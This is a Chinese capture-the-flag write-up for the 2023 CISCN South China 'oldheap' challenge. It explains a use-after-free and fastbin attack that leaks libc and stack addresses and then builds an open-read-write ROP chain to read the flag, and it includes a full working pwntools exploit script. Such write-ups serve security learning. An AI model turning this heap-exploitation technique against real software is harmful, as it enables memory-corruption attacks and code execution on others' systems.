2023ciscn华南赛区oldheap

2023ciscn华南赛区 oldheap
在这里插入图片描述

free函数存在uaf漏洞,限制了堆的块数十块,但是不限制malloc次数

strcuk chunk{
    size_t size;
    size_t * ptr;
}
#chunk结构体存放指针和size,ptr存放字符串,chunk结构体是0x10的内存

#这里一次申请两块指针,先申请0x10的chunk四块,一共八个0x20的chunk,全部free掉,这样子就有一块掉fastbin里面去了,然后利用uaf漏洞,把chunklist的指针挂上fastbin,这样我们再申请,就可以把chunklist申请到,
加粗样式

0x602060就是chunklist的地址

第一步,在上面挂puts函数的got表泄露基地址

第二部,泄露基地址算出environ的地址,把这个用同样的方式挂上chunklist,泄露栈地址

第三步,计算在eidt函数中,leave ret的栈地址,然后把这个栈地址以同样的方式挂上chunklist去修改,在这个上面布置rop链进行orw读取flag
在这里插入图片描述
那我们泄露的栈地址跟这个地址进行做差,就可以得到偏移,加上去就可以了,然后就可以再次把这个栈地址以同样的方式挂上chunklist进行修改,布置rop

在这里插入图片描述

from pwn import *
ly=process("./oldheap")
elf=ELF("./oldheap")
#ly=remote("172.1.26.10",8888)
#libc=ELF("libc.so.6")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
context(os='linux', arch='amd64', log_level='debug')
def cmd(t):
    ly.sendlineafter(b"What about command: ",t)
def add(idx,size,string):
    cmd(b'C')
    ly.sendlineafter(b"What about index",str(idx))
    ly.sendlineafter(b"How long is your string",str(size))
    ly.sendlineafter(b"What about string:",string)
def detele(idx):
    cmd(b'F')
    ly.sendlineafter(b"What about index", str(idx))
def printnode(idx):
    cmd(b'R')
    ly.sendlineafter(b"What about index", str(idx))
    #ly.sendlineafter(b"string:", string)
def writenode(idx,string):
    cmd(b'W')
    ly.sendlineafter(b"What about index", str(idx))
    ly.sendlineafter(b"string:", string)
    #ly.sendlineafter(b"What about command:", string)
def dbg():
    gdb.attach(ly)
    pause()
add(0,0x10,b'a')#0
add(1,0x10,b'a')#1
add(2,0x10,b'a')#2
add(3,0x10,b'a')#3
add(4,0x10,b'a')#4
detele(0)
detele(1)
detele(2)
detele(3)
detele(4)
#detele(5)
writenode(4,p64(0x602060))
#writenode(5,p64(0x602060))
add(0,0x10,b'a')
add(1,0x10,b'a')
add(1,0x10,b'a')
add(1,0x10,b'a')
add(0,0x10,b'a')
writenode(0,p64(elf.got['puts'])+p64(0x602068))
printnode(3)
ly.recvuntil(b"string: ")
result = ly.recv()
result1 = result
content = result[:6]
puts_addr = int.from_bytes(content, 'little')
put = libc.sym['puts']
libc.address=libcbase = puts_addr - put

#得到偏移之后,用同样的方法,把environ的地址挂上堆中,再用show功能,泄漏栈地址
writenode(0,p64(libc.sym['_environ'])+p64(0x602068))
print("environ---->",hex(libc.sym['_environ']))
printnode(3)
ly.recvuntil(b"string: ")
stack=u64(ly.recv(6).ljust(8,b'\x00'))-288
print("stack---->",hex(stack))

#泄漏得到栈地址后,重新布局chunklist,把栈地址挂上chunklist,在用eidt功能在eidt函数的返回地址ret处布置rop链
add(0,0x10,b'a')#0
add(1,0x10,b'a')#1
add(2,0x10,b'a')#2
add(3,0x10,b'a')#3
add(4,0x10,b'a')#4
detele(0)
detele(1)
detele(2)
detele(3)
detele(4)
#detele(5)
writenode(4,p64(0x602060))
#writenode(5,p64(0x602060))
add(0,0x10,b'a')
add(1,0x10,b'a')
add(1,0x10,b'a')
add(1,0x10,b'a')
add(0,0x10,b'a')
writenode(0,p64(stack)+p64(0x602068)+b"\n")#0x000000000400B13
#0x00000400B1E
pop_rdi_ret = next(libc.search(asm('pop rdi;ret;')))
pop_rsi_ret = 0x0000000000400cf1
pop_rdx_ret = libc.address+0x142c92
bss_addr=stack+128+8+8+8
open=libc.sym['open']
read=libc.sym['read']
ret=0x0000000000400779
payload=p64(ret)+p64(pop_rdi_ret)+p64(stack+128+8+8)+p64(pop_rsi_ret)+p64(0)+p64(0)+p64(open)+p64(pop_rdi_ret)+p64(3)+p64(pop_rsi_ret)+p64(bss_addr + 16)+p64(0) + p64(pop_rdx_ret) + p64(0x50) + p64(read)
payload+= p64(pop_rdi_ret)+p64(bss_addr+16)+p64(elf.plt['puts'])+b'./flag\x00\x00'
#dbg()
writenode(3,payload)
ly.interactive()

有点遗憾的…

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值